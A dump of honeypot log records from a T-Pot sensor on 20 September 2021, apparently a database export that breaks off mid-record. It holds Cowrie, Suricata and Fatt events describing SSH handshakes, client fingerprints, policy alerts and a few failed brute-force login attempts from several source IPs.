37143	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:19:09.390222+03	2021-09-20 15:30:03.267884+03	{"_id": "IQYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "42de2997059c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:19:09.390222Z", "@timestamp": "2021-09-20T12:19:09.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	FR
37144	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:19:09.470516+03	2021-09-20 15:30:03.268881+03	{"_id": "IgYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "877a8c81009d", "@version": "1", "timestamp": "2021-09-20T12:19:09.470516Z", "@timestamp": "2021-09-20T12:19:09.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BY
37145	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:19:09.704572+03	2021-09-20 15:30:03.270882+03	{"_id": "IwYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [fahmed/fahmed] failed", "session": "42de2997059c", "@version": "1", "password": "fahmed", "username": "fahmed", "timestamp": "2021-09-20T12:19:09.704572Z", "@timestamp": "2021-09-20T12:19:09.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	FR
37146	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:19:09.469758+03	2021-09-20 15:30:03.272882+03	{"_id": "JQYlA3wBvYTbRNuEU2c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1569447558885842, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41308, "dest_port": 22, "timestamp": "2021-09-20T12:19:09.469758Z", "@timestamp": "2021-09-20T12:19:09.469Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BY
37147	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:19:29.863244+03	2021-09-20 15:30:03.273882+03	{"_id": "UwYlA3wBvYTbRNuEoGdX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7997cba9ef10", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:19:29.863244Z", "@timestamp": "2021-09-20T12:19:29.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
37148	183.17.231.81	109.199.241.180	Suricata	2021-09-20 15:19:30.16241+03	2021-09-20 15:30:03.275882+03	{"_id": "VgYlA3wBvYTbRNuEoWdf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:29.562273+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2006982321083489, "payload": "AAADzAYUxMOVekgXjCCVz9whR6NQRgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36518, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:30.162410Z", "@timestamp": "2021-09-20T12:19:30.162Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........zH.. ...!G.PF...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
37149	183.17.231.81	109.199.241.180	Fatt	2021-09-20 15:19:30.16241+03	2021-09-20 15:30:03.276881+03	{"_id": "VwYlA3wBvYTbRNuEomdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36518, "dest_port": 22, "timestamp": "2021-09-20T12:19:30.162410", "@timestamp": "2021-09-20T12:19:30.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37150	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:29.86415+03	2021-09-20 15:30:03.278881+03	{"_id": "XQYlA3wBvYTbRNuEomeW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36518, "timestamp": "2021-09-20T12:19:29.864150", "@timestamp": "2021-09-20T12:19:29.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37151	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:19:30.163033+03	2021-09-20 15:30:03.280881+03	{"_id": "XgYlA3wBvYTbRNuEpGdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7997cba9ef10", "@version": "1", "timestamp": "2021-09-20T12:19:30.163033Z", "@timestamp": "2021-09-20T12:19:30.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37152	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:19:31.446976+03	2021-09-20 15:30:03.282881+03	{"_id": "XwYlA3wBvYTbRNuEqGcq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [smart/smart] failed", "session": "7997cba9ef10", "@version": "1", "password": "smart", "username": "smart", "timestamp": "2021-09-20T12:19:31.446976Z", "@timestamp": "2021-09-20T12:19:31.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37153	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:19:32.747296+03	2021-09-20 15:30:03.283881+03	{"_id": "YAYlA3wBvYTbRNuErGcS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7997cba9ef10", "@version": "1", "duration": 2.884331464767456, "timestamp": "2021-09-20T12:19:32.747296Z", "@timestamp": "2021-09-20T12:19:32.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37154	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:19:57.785331+03	2021-09-20 15:30:03.285882+03	{"_id": "nAYmA3wBvYTbRNuEDWfF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:57652 (192.168.176.2:22) [session: 9c9a5203eb3e]", "session": "9c9a5203eb3e", "@version": "1", "protocol": "ssh", "src_port": 57652, "dest_port": 22, "timestamp": "2021-09-20T12:19:57.785331Z", "@timestamp": "2021-09-20T12:19:57.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37155	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:19:37.000199+03	2021-09-20 15:30:03.286882+03	{"_id": "ngYmA3wBvYTbRNuEDmfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.301417+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 329578545191273, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 31025, "timestamp": "2021-09-20T12:19:37.000199Z", "@timestamp": "2021-09-20T12:19:37.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
37156	81.71.17.12	109.199.241.180	Suricata	2021-09-20 15:19:58.075199+03	2021-09-20 15:30:03.288883+03	{"_id": "oAYmA3wBvYTbRNuEDmfN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:57.503748+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1301933376516036, "payload": "AAADzAYUJv5460E3ohT/kr0QclwDrwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlc